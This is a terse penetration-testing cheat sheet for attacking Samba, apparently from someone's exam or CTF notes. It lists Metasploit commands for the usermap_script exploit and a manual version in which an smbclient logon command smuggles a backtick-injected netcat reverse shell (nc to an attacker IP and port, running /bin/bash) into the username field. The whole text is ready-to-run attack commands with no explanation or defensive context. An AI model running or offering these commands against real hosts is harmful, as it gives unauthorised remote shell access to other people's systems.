Samba

use exploit/multi/samba/usermap_script 
set RHOST <TARGET IP>
run

smbclient \\<Target IP>\<share> -U ""
smb: \> logon "/= `nc <Attacker IP> <Attacker Port> -e /bin/bash`"